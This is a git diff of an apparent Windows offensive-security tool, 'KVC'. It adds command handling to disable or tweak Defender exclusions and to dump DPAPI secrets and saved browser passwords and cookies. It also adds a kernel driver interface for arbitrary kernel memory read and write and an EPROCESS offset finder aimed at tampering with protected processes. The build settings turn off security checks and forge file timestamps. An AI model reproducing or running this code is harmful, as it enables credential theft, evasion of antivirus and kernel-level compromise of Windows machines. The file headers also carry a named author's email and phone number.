ERROR(L"Missing arguments for exclusion removal. Usage: remove-exclusion [TYPE] <value> or remove-exclusion <path>");
return 1;
}
// New syntax with type specification: kvc remove-exclusion Processes malware.exe
if (argc >= 4) {
std::wstring_view typeStr = argv[2];
std::wstring value = argv[3];
auto exclusionType = ParseExclusionType(typeStr);
if (!exclusionType) {
ERROR(L"Invalid exclusion type: %s. Valid types: Paths, Processes, Extensions, IpAddresses", typeStr.data());
return 1;
}
return g_controller->RemoveDefenderExclusion(exclusionType.value(), value) ? 0 : 1;
}
// Legacy syntax for backward compatibility: kvc remove-exclusion C:\file.exe
else {
std::wstring filePath = argv[2];
return g_controller->RemoveFromDefenderExclusions(filePath) ? 0 : 1;
}
}
// DPAPI secrets extraction commands with comprehensive browser support
else if (command == L"export")
{
if (argc < 3)
{
ERROR(L"Missing subcommand for export. Usage: export secrets [output_path]");
return 1;
}
std::wstring_view subCommand = argv[2];
if (subCommand == L"secrets")
{
std::wstring outputPath;
// Use provided output path or default to Downloads folder
if (argc >= 4)
{
outputPath = argv[3];
}
else
{
wchar_t* downloadsPath;
if (SHGetKnownFolderPath(FOLDERID_Downloads, 0, NULL, &downloadsPath) == S_OK)
{
outputPath = downloadsPath;
CoTaskMemFree(downloadsPath);
}
else
{
outputPath = L".\\";
}
}
INFO(L"Exporting secrets using TrustedInstaller privileges...");
return g_controller->ShowPasswords(outputPath) ? 0 : 2;
}
else
{
ERROR(L"Unknown export subcommand: %s. Available: secrets", subCommand.data());
return 1;
}
}
// Browser passwords extraction with kvc_pass integration
else if (command == L"browser-passwords" || command == L"bp")
{
std::wstring browserType = L"chrome"; // Default to Chrome
std::wstring outputPath = L"."; // Current directory
// Parse arguments
for (int i = 2; i < argc; i++) {
std::wstring arg = argv[i];
if (arg == L"--chrome") {
browserType = L"chrome";
} else if (arg == L"--brave") {
browserType = L"brave";
} else if (arg == L"--edge") {
browserType = L"edge";
} else if (arg == L"--output" || arg == L"-o") {
if (i + 1 < argc) {
outputPath = argv[++i];
} else {
ERROR(L"Missing path for --output argument");
return 1;
}
} else {
ERROR(L"Unknown argument: %s", arg.c_str());
return 1;
}
}
if (browserType == L"edge") {
// First run kvc_pass (cookies / logins)
if (!g_controller->ExportBrowserData(outputPath, browserType)) {
ERROR(L"Failed to export Edge cookies/logins");
}
// Then run DPAPI (KVC) Edge passwords from registry
INFO(L"Extracting Edge passwords via KVC DPAPI...");
g_controller->ShowPasswords(outputPath);
return 0;
} else {
// Chrome, Brave only kvc_pass
if (!g_controller->ExportBrowserData(outputPath, browserType)) {
ERROR(L"Failed to export browser passwords");
return 1;
}
return 0;
}
}
// Combined binary processing - decrypt and deploy kvc.dat components
else if (command == L"setup")
{
INFO(L"Loading and processing kvc.dat combined binary...");
return g_controller->LoadAndSplitCombinedBinaries() ? 0 : 2;
}
else
{
ERROR(L"Unknown command: %s", command.data());
HelpSystem::PrintUsage(argv[0]);
return 1;
}
}
catch (const std::exception& e)
{
std::string msg = e.what();
std::wstring wmsg(msg.begin(), msg.end());
ERROR(L"Exception occurred: %s", wmsg.c_str());
CleanupDriver();
return 3;
}
catch (...)
{
ERROR(L"Unknown exception occurred during execution");
CleanupDriver();
return 3;
}
CleanupDriver();
return 0;
}
// Emergency cleanup for driver resources
void CleanupDriver() noexcept
{
if (g_controller)
{
g_controller->StopDriverService();
}
}
// Robust PID parsing with validation
std::optional<DWORD> ParsePid(std::wstring_view pidStr) noexcept
{
if (pidStr.empty()) return std::nullopt;
// Convert wide string to narrow for std::from_chars
std::string narrowStr;
narrowStr.reserve(pidStr.size());
for (wchar_t wc : pidStr)
{
if (wc > 127) return std::nullopt; // Non-ASCII character
narrowStr.push_back(static_cast<char>(wc));
}
DWORD result = 0;
auto [ptr, ec] = std::from_chars(narrowStr.data(),
narrowStr.data() + narrowStr.size(),
result);
return (ec == std::errc{} && ptr == narrowStr.data() + narrowStr.size()) ?
std::make_optional(result) : std::nullopt;
}
// Check if string contains only digits
bool IsNumeric(std::wstring_view str) noexcept
{
if (str.empty()) return false;
for (wchar_t ch : str)
{
if (ch < L'0' || ch > L'9')
return false;
}
return true;
}
// Recognize various help flag formats
bool IsHelpFlag(std::wstring_view arg) noexcept
{
if (arg == L"/?" || arg == L"/help" || arg == L"/h")
return true;
if (arg == L"-?" || arg == L"-help" || arg == L"-h")
return true;
if (arg == L"--help" || arg == L"--h")
return true;
if (arg == L"help" || arg == L"?")
return true;
return false;
}

11
kvc/Kvc.manifest Normal file
View File

@@ -0,0 +1,11 @@
<assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1">
<assemblyIdentity version="1.0.0.0" processorArchitecture="x64" name="kvc.exe" type="win32" />
<description>CMD as TI</description>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
<security>
<requestedPrivileges>
<requestedExecutionLevel level="highestAvailable" />
</requestedPrivileges>
</security>
</trustInfo>
</assembly>

BIN
kvc/Kvc.rc Normal file

Binary file not shown.

153
kvc/Kvc.vcxproj Normal file
View File

@@ -0,0 +1,153 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Release|x64">
<Configuration>Release</Configuration>
<Platform>x64</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<VCProjectVersion>17.0</VCProjectVersion>
<Keyword>Win32Proj</Keyword>
<ProjectGuid>{4f3de11e-c54a-4dc1-ae8f-c29a720694cc}</ProjectGuid>
<RootNamespace>kvc</RootNamespace>
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
<PlatformToolset>v143</PlatformToolset>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<PlatformToolset>v143</PlatformToolset>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
<UseOfMfc>false</UseOfMfc>
<CLRSupport>false</CLRSupport>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="Shared">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LinkIncremental>false</LinkIncremental>
<OutDir>$(SolutionDir)bin\$(Platform)\$(Configuration)\</OutDir>
<IntDir>$(SolutionDir)obj\$(Platform)\$(Configuration)\$(ProjectName)\</IntDir>
</PropertyGroup>
<PropertyGroup>
<SOURCE_DATE_EPOCH>1756665900</SOURCE_DATE_EPOCH>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>false</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;WIN32_LEAN_AND_MEAN;NOMINMAX;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
<LanguageStandard>stdcpplatest</LanguageStandard>
<LanguageStandardVersion>latest</LanguageStandardVersion>
<EnableModules>false</EnableModules>
<ScanSourceForModuleDependencies>false</ScanSourceForModuleDependencies>
<AdditionalOptions>/utf-8 /GS- /Gy /Gw /Brepro %(AdditionalOptions)</AdditionalOptions>
<RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>
<ExceptionHandling>Sync</ExceptionHandling>
<BufferSecurityCheck>false</BufferSecurityCheck>
<MinimalRebuild>false</MinimalRebuild>
<OmitFramePointers>true</OmitFramePointers>
<StringPooling>true</StringPooling>
<TreatWarningAsError>false</TreatWarningAsError>
<DisableSpecificWarnings>4996;4117</DisableSpecificWarnings>
<Optimization>MaxSpeed</Optimization>
<WholeProgramOptimization>true</WholeProgramOptimization>
<FavorSizeOrSpeed>Speed</FavorSizeOrSpeed>
<EnableFiberSafeOptimizations>true</EnableFiberSafeOptimizations>
<BrowseInformation>false</BrowseInformation>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>false</GenerateDebugInformation>
<UACExecutionLevel>HighestAvailable</UACExecutionLevel>
<AdditionalDependencies>kernel32.lib;user32.lib;psapi.lib;advapi32.lib;%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalOptions>/OPT:REF /OPT:ICF /MERGE:.rdata=.text /NXCOMPAT /Brepro %(AdditionalOptions)</AdditionalOptions>
<LinkTimeCodeGeneration>UseLinkTimeCodeGeneration</LinkTimeCodeGeneration>
<RandomizedBaseAddress>true</RandomizedBaseAddress>
<DataExecutionPrevention>true</DataExecutionPrevention>
<TargetMachine>MachineX64</TargetMachine>
<SetChecksum>false</SetChecksum>
<LargeAddressAware>true</LargeAddressAware>
<StripPrivateSymbols>true</StripPrivateSymbols>
<AllowIsolation>true</AllowIsolation>
</Link>
<PostBuildEvent>
<Command>powershell -Command "&amp; {$f='$(OutDir)$(TargetName)$(TargetExt)'; (Get-Item $f).CreationTime='2026-01-01 00:00:00'; (Get-Item $f).LastWriteTime='2026-01-01 00:00:00'}"</Command>
</PostBuildEvent>
<ResourceCompile>
<Culture>0x0409</Culture>
</ResourceCompile>
</ItemDefinitionGroup>
<!-- Source Files -->
<ItemGroup>
<ClCompile Include="TrustedInstallerIntegrator.cpp" />
<ClCompile Include="ControllerCore.cpp" />
<ClCompile Include="ControllerBinaryManager.cpp" />
<ClCompile Include="ControllerDriverManager.cpp" />
<ClCompile Include="ControllerProcessOperations.cpp" />
<ClCompile Include="ControllerMemoryOperations.cpp" />
<ClCompile Include="ControllerSystemIntegration.cpp" />
<ClCompile Include="ControllerPasswordManager.cpp" />
<ClCompile Include="ControllerEventLogOperations.cpp" />
<ClCompile Include="OffsetFinder.cpp" />
<ClCompile Include="kvc.cpp" />
<ClCompile Include="kvcDrv.cpp" />
<ClCompile Include="Utils.cpp" />
<ClCompile Include="Common.cpp" />
<ClCompile Include="ReportExporter.cpp" />
<ClCompile Include="ServiceManager.cpp" />
<ClCompile Include="KeyboardHook.cpp" />
<ClCompile Include="HelpSystem.cpp" />
</ItemGroup>
<!-- Header Files -->
<ItemGroup>
<ClInclude Include="resource.h" />
<ClInclude Include="TrustedInstallerIntegrator.h" />
<ClInclude Include="common.h" />
<ClInclude Include="Controller.h" />
<ClInclude Include="OffsetFinder.h" />
<ClInclude Include="kvcDrv.h" />
<ClInclude Include="Utils.h" />
<ClInclude Include="ReportExporter.h" />
<ClInclude Include="ServiceManager.h" />
<ClInclude Include="KeyboardHook.h" />
<ClInclude Include="HelpSystem.h" />
</ItemGroup>
<!-- Resource Files -->
<ItemGroup>
<Image Include="ICON\kvc.ico" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="kvc.rc" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

97
kvc/Kvc.vcxproj.filters Normal file
View File

@@ -0,0 +1,97 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
<Filter Include="Source Files\Controller">
<UniqueIdentifier>{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}</UniqueIdentifier>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="kvc.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="OffsetFinder.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="kvcDrv.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utils.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Common.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="TrustedInstallerIntegrator.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="ReportExporter.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="ControllerCore.cpp">
<Filter>Source Files\Controller</Filter>
</ClCompile>
<ClCompile Include="ControllerDriverManager.cpp">
<Filter>Source Files\Controller</Filter>
</ClCompile>
<ClCompile Include="ControllerProcessOperations.cpp">
<Filter>Source Files\Controller</Filter>
</ClCompile>
<ClCompile Include="ControllerMemoryOperations.cpp">
<Filter>Source Files\Controller</Filter>
</ClCompile>
<ClCompile Include="ControllerSystemIntegration.cpp">
<Filter>Source Files\Controller</Filter>
</ClCompile>
<ClCompile Include="ControllerPasswordManager.cpp">
<Filter>Source Files\Controller</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="OffsetFinder.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="common.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="kvcDrv.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Utils.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Controller.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="TrustedInstallerIntegrator.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="resource.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="ReportExporter.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<Image Include="ICON\kvc.ico">
<Filter>Resource Files</Filter>
</Image>
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="kvc.rc">
<Filter>Resource Files</Filter>
</ResourceCompile>
</ItemGroup>
</Project>

4
kvc/Kvc.vcxproj.user Normal file
View File

@@ -0,0 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup />
</Project>

169
kvc/KvcDrv.cpp Normal file
View File

@@ -0,0 +1,169 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
// KvcDrv.cpp
#include "kvcDrv.h"
#include "common.h"
#include <format>
// IOCTL command codes for KVC driver communication
constexpr DWORD RTC_IOCTL_MEMORY_READ = 0x80002048;
constexpr DWORD RTC_IOCTL_MEMORY_WRITE = 0x8000204c;
kvc::kvc() = default;
kvc::~kvc() {
Cleanup();
}
// Force cleanup for atomic driver operations - critical for stability
void kvc::Cleanup() noexcept {
DEBUG(L"kvc::Cleanup() called");
if (m_deviceHandle) {
DEBUG(L"Closing device handle...");
// Force the handle to close
FlushFileBuffers(m_deviceHandle.get());
m_deviceHandle.reset(); // This should close the handle
}
m_deviceName.clear();
DEBUG(L"kvc cleanup completed");
}
bool kvc::IsConnected() const noexcept {
return m_deviceHandle && m_deviceHandle.get() != INVALID_HANDLE_VALUE;
}
// Driver connection establishment with device path
bool kvc::Initialize() noexcept {
if (IsConnected()) {
return true;
}
if (m_deviceName.empty()) {
m_deviceName = L"\\\\.\\" + GetServiceName();
}
if (!InitDynamicAPIs()) return false;
// SIMPLE DEVICE OPEN - without test operations
HANDLE rawHandle = g_pCreateFileW(m_deviceName.c_str(),
GENERIC_READ | GENERIC_WRITE,
0, nullptr, OPEN_EXISTING, 0, nullptr);
if (rawHandle == INVALID_HANDLE_VALUE) {
return false; // Silently fail - this is normal when the driver is not running
}
m_deviceHandle = UniqueHandle(rawHandle);
return true;
}
// Memory read operations with type safety
std::optional<BYTE> kvc::Read8(ULONG_PTR address) noexcept {
auto value = Read32(address);
if (!value.has_value()) return std::nullopt;
return static_cast<BYTE>(value.value() & 0xff);
}
std::optional<WORD> kvc::Read16(ULONG_PTR address) noexcept {
auto value = Read32(address);
if (!value.has_value()) return std::nullopt;
return static_cast<WORD>(value.value() & 0xffff);
}
std::optional<DWORD> kvc::Read32(ULONG_PTR address) noexcept {
return Read(address, sizeof(DWORD));
}
std::optional<DWORD64> kvc::Read64(ULONG_PTR address) noexcept {
auto low = Read32(address);
auto high = Read32(address + 4);
if (!low || !high) return std::nullopt;
return (static_cast<DWORD64>(high.value()) << 32) | low.value();
}
std::optional<ULONG_PTR> kvc::ReadPtr(ULONG_PTR address) noexcept {
#ifdef _WIN64
auto value = Read64(address);
if (!value.has_value()) return std::nullopt;
return static_cast<ULONG_PTR>(value.value());
#else
auto value = Read32(address);
if (!value.has_value()) return std::nullopt;
return static_cast<ULONG_PTR>(value.value());
#endif
}
// Memory write operations with type safety
bool kvc::Write8(ULONG_PTR address, BYTE value) noexcept {
return Write(address, sizeof(value), value);
}
bool kvc::Write16(ULONG_PTR address, WORD value) noexcept {
return Write(address, sizeof(value), value);
}
bool kvc::Write32(ULONG_PTR address, DWORD value) noexcept {
return Write(address, sizeof(value), value);
}
bool kvc::Write64(ULONG_PTR address, DWORD64 value) noexcept {
DWORD low = static_cast<DWORD>(value & 0xffffffff);
DWORD high = static_cast<DWORD>((value >> 32) & 0xffffffff);
return Write32(address, low) && Write32(address + 4, high);
}
// Low-level driver communication via IOCTL
std::optional<DWORD> kvc::Read(ULONG_PTR address, DWORD valueSize) noexcept {
RTC_MEMORY_READ memoryRead{};
memoryRead.Address = address;
memoryRead.Size = valueSize;
if (!Initialize()) return std::nullopt;
DWORD bytesReturned = 0;
if (!DeviceIoControl(m_deviceHandle.get(), RTC_IOCTL_MEMORY_READ,
&memoryRead, sizeof(memoryRead), &memoryRead, sizeof(memoryRead), &bytesReturned, nullptr))
return std::nullopt;
return memoryRead.Value;
}
bool kvc::Write(ULONG_PTR address, DWORD valueSize, DWORD value) noexcept {
RTC_MEMORY_WRITE memoryWrite{};
memoryWrite.Address = address;
memoryWrite.Size = valueSize;
memoryWrite.Value = value;
if (!Initialize()) return false;
DWORD bytesReturned = 0;
return DeviceIoControl(m_deviceHandle.get(), RTC_IOCTL_MEMORY_WRITE,
&memoryWrite, sizeof(memoryWrite), &memoryWrite, sizeof(memoryWrite), &bytesReturned, nullptr);
}

77
kvc/KvcDrv.h Normal file
View File

@@ -0,0 +1,77 @@
#pragma once
#include "common.h"
#include <memory>
#include <optional>
// KVC driver communication structures with proper alignment
struct alignas(8) RTC_MEMORY_READ
{
BYTE Pad0[8]; // Alignment padding
DWORD64 Address; // Target memory address
BYTE Pad1[8]; // Additional padding
DWORD Size; // Bytes to read
DWORD Value; // Returned value
BYTE Pad3[16]; // Final padding
};
struct alignas(8) RTC_MEMORY_WRITE
{
BYTE Pad0[8]; // Alignment padding
DWORD64 Address; // Target memory address
BYTE Pad1[8]; // Additional padding
DWORD Size; // Bytes to write
DWORD Value; // Value to write
BYTE Pad3[16]; // Final padding
};
// Kernel memory operations interface via KVC driver
class kvc
{
public:
kvc();
~kvc();
kvc(const kvc&) = delete;
kvc& operator=(const kvc&) = delete;
kvc(kvc&&) noexcept = default;
kvc& operator=(kvc&&) noexcept = default;
// Driver connection management
bool Initialize() noexcept;
void Cleanup() noexcept;
bool IsConnected() const noexcept;
// Memory read operations with type safety
std::optional<BYTE> Read8(ULONG_PTR address) noexcept;
std::optional<WORD> Read16(ULONG_PTR address) noexcept;
std::optional<DWORD> Read32(ULONG_PTR address) noexcept;
std::optional<DWORD64> Read64(ULONG_PTR address) noexcept;
std::optional<ULONG_PTR> ReadPtr(ULONG_PTR address) noexcept;
// Memory write operations with type safety
bool Write8(ULONG_PTR address, BYTE value) noexcept;
bool Write16(ULONG_PTR address, WORD value) noexcept;
bool Write32(ULONG_PTR address, DWORD value) noexcept;
bool Write64(ULONG_PTR address, DWORD64 value) noexcept;
private:
// Smart handle wrapper for automatic cleanup
struct HandleDeleter
{
void operator()(HANDLE handle) const noexcept
{
if (handle && handle != INVALID_HANDLE_VALUE)
CloseHandle(handle);
}
};
using UniqueHandle = std::unique_ptr<std::remove_pointer_t<HANDLE>, HandleDeleter>;
std::wstring m_deviceName; // Driver device name
UniqueHandle m_deviceHandle; // Handle to driver device
// Low-level communication via IOCTL
std::optional<DWORD> Read(ULONG_PTR address, DWORD valueSize) noexcept;
bool Write(ULONG_PTR address, DWORD valueSize, DWORD value) noexcept;
};

244
kvc/OffsetFinder.cpp Normal file
View File

@@ -0,0 +1,244 @@
/*******************************************************************************
_ ____ ______
| |/ /\ \ / / ___|
| ' / \ \ / / |
| . \ \ V /| |___
|_|\_\ \_/ \____|
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
of kernel-level primitives** for legitimate security research and penetration testing.
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
that define these protections.
-----------------------------------------------------------------------------
Author : Marek Wesołowski
Email : marek@wesolowski.eu.org
Phone : +48 607 440 283 (Tel/WhatsApp)
Date : 04-09-2025
*******************************************************************************/
// OffsetFinder.cpp
#include "OffsetFinder.h"
#include "Utils.h"
#include "common.h"
#include <cstring>
namespace {
// Safe offset extraction with validation to prevent crashes
std::optional<WORD> SafeExtractWord(const void* base, size_t byteOffset) noexcept
{
if (!base) return std::nullopt;
WORD value = 0;
__try {
std::memcpy(&value, reinterpret_cast<const BYTE*>(base) + byteOffset, sizeof(value));
}
__except (EXCEPTION_EXECUTE_HANDLER) {
return std::nullopt;
}
// Sanity check - offsets should be reasonable for EPROCESS structure
if (value == 0 || value > 0x3000) {
return std::nullopt;
}
return value;
}
}
// Initialize offset finder with kernel image analysis
OffsetFinder::OffsetFinder()
{
HMODULE rawModule = LoadLibraryW(L"ntoskrnl.exe");
m_kernelModule = ModuleHandle(rawModule);
if (!m_kernelModule) {
ERROR(L"OffsetFinder: Failed to load kernel image (error: %d) - verify administrator privileges", GetLastError());
}
}
OffsetFinder::~OffsetFinder() = default;
std::optional<DWORD> OffsetFinder::GetOffset(Offset name) const noexcept
{
if (auto it = m_offsetMap.find(name); it != m_offsetMap.end())
return it->second;
return std::nullopt;
}
// Master offset discovery in dependency order
bool OffsetFinder::FindAllOffsets() noexcept
{
return FindKernelPsInitialSystemProcessOffset() &&
FindProcessUniqueProcessIdOffset() &&
FindProcessProtectionOffset() &&
FindProcessActiveProcessLinksOffset() &&
FindProcessSignatureLevelOffset() &&
FindProcessSectionSignatureLevelOffset();
}
// PsInitialSystemProcess export location discovery
bool OffsetFinder::FindKernelPsInitialSystemProcessOffset() noexcept
{
if (m_offsetMap.contains(Offset::KernelPsInitialSystemProcess))
return true;
if (!m_kernelModule) {
ERROR(L"Cannot find PsInitialSystemProcess - kernel image not loaded");
return false;
}
auto pPsInitialSystemProcess = reinterpret_cast<ULONG_PTR>(
GetProcAddress(m_kernelModule.get(), "PsInitialSystemProcess"));
if (!pPsInitialSystemProcess) {
ERROR(L"PsInitialSystemProcess export not found (error: %d)", GetLastError());
// Test if other exports are accessible
if (GetProcAddress(m_kernelModule.get(), "PsGetProcessId")) {
ERROR(L"Other kernel exports accessible - partial export table issue");
} else {
ERROR(L"No kernel exports accessible - incompatible kernel image");
}
return false;
}
DWORD offset = static_cast<DWORD>(pPsInitialSystemProcess - reinterpret_cast<ULONG_PTR>(m_kernelModule.get()));
// Sanity check for reasonable offset range
if (offset < 0x1000 || offset > 0x2000000) {
ERROR(L"PsInitialSystemProcess offset 0x%x outside reasonable range", offset);
return false;
}
m_offsetMap[Offset::KernelPsInitialSystemProcess] = offset;
SUCCESS(L"Found PsInitialSystemProcess offset: 0x%x", offset);
return true;
}
// ActiveProcessLinks follows UniqueProcessId in EPROCESS structure
bool OffsetFinder::FindProcessActiveProcessLinksOffset() noexcept
{
if (m_offsetMap.contains(Offset::ProcessActiveProcessLinks))
return true;
if (!m_offsetMap.contains(Offset::ProcessUniqueProcessId))
return false;
// ActiveProcessLinks is always sizeof(HANDLE) bytes after UniqueProcessId
WORD offset = static_cast<WORD>(m_offsetMap[Offset::ProcessUniqueProcessId] + sizeof(HANDLE));
m_offsetMap[Offset::ProcessActiveProcessLinks] = offset;
return true;
}
// UniqueProcessId offset extraction from PsGetProcessId function
bool OffsetFinder::FindProcessUniqueProcessIdOffset() noexcept
{
if (m_offsetMap.contains(Offset::ProcessUniqueProcessId))
return true;
if (!m_kernelModule)
return false;
FARPROC pPsGetProcessId = GetProcAddress(m_kernelModule.get(), "PsGetProcessId");
if (!pPsGetProcessId) {
ERROR(L"PsGetProcessId export not found (error: %d)", GetLastError());
return false;
}
// Extract offset from function disassembly
std::optional<WORD> offset;
#ifdef _WIN64
// mov rax, [rcx+offset] - offset at bytes 3-4
offset = SafeExtractWord(pPsGetProcessId, 3);
#else
// mov eax, [ecx+offset] - offset at bytes 2-3
offset = SafeExtractWord(pPsGetProcessId, 2);
#endif
if (!offset) {
ERROR(L"Failed to extract UniqueProcessId offset from PsGetProcessId function");
return false;
}
// Sanity check for EPROCESS structure size
if (offset.value() > 0x1500) {
ERROR(L"UniqueProcessId offset 0x%x appears too large for EPROCESS", offset.value());
return false;
}
m_offsetMap[Offset::ProcessUniqueProcessId] = offset.value();
SUCCESS(L"Found UniqueProcessId offset: 0x%x", offset.value());
return true;
}
// Process protection offset validation using dual function analysis
bool OffsetFinder::FindProcessProtectionOffset() noexcept
{
if (m_offsetMap.contains(Offset::ProcessProtection))
return true;
if (!m_kernelModule)
return false;
FARPROC pPsIsProtectedProcess = GetProcAddress(m_kernelModule.get(), "PsIsProtectedProcess");
FARPROC pPsIsProtectedProcessLight = GetProcAddress(m_kernelModule.get(), "PsIsProtectedProcessLight");
if (!pPsIsProtectedProcess || !pPsIsProtectedProcessLight) {
ERROR(L"Protection function exports not found in kernel image");
return false;
}
// Both functions should reference the same offset
auto offsetA = SafeExtractWord(pPsIsProtectedProcess, 2);
auto offsetB = SafeExtractWord(pPsIsProtectedProcessLight, 2);
if (!offsetA || !offsetB) {
ERROR(L"Failed to extract offsets from protection validation functions");
return false;
}
// Cross-validation - both functions must agree
if (offsetA.value() != offsetB.value() || offsetA.value() > 0x1500) {
ERROR(L"Protection offset validation failed: A=0x%x, B=0x%x", offsetA.value(), offsetB.value());
return false;
}
m_offsetMap[Offset::ProcessProtection] = offsetA.value();
SUCCESS(L"Found ProcessProtection offset: 0x%x", offsetA.value());
return true;
}
// SignatureLevel precedes Protection field by 2 bytes
bool OffsetFinder::FindProcessSignatureLevelOffset() noexcept
{
if (m_offsetMap.contains(Offset::ProcessSignatureLevel))
return true;
if (!m_offsetMap.contains(Offset::ProcessProtection))
return false;
WORD offset = static_cast<WORD>(m_offsetMap[Offset::ProcessProtection] - (2 * sizeof(UCHAR)));
m_offsetMap[Offset::ProcessSignatureLevel] = offset;
return true;
}
// SectionSignatureLevel precedes Protection field by 1 byte
bool OffsetFinder::FindProcessSectionSignatureLevelOffset() noexcept
{
if (m_offsetMap.contains(Offset::ProcessSectionSignatureLevel))
return true;
if (!m_offsetMap.contains(Offset::ProcessProtection))
return false;
WORD offset = static_cast<WORD>(m_offsetMap[Offset::ProcessProtection] - sizeof(UCHAR));
m_offsetMap[Offset::ProcessSectionSignatureLevel] = offset;
return true;
}

56
kvc/OffsetFinder.h Normal file
View File

@@ -0,0 +1,56 @@
#pragma once
#include "common.h"
#include <unordered_map>
#include <memory>
#include <optional>
// Windows kernel structure offset identifiers
enum class Offset
{
KernelPsInitialSystemProcess,
ProcessActiveProcessLinks,
ProcessUniqueProcessId,
ProcessProtection,
ProcessSignatureLevel,
ProcessSectionSignatureLevel
};
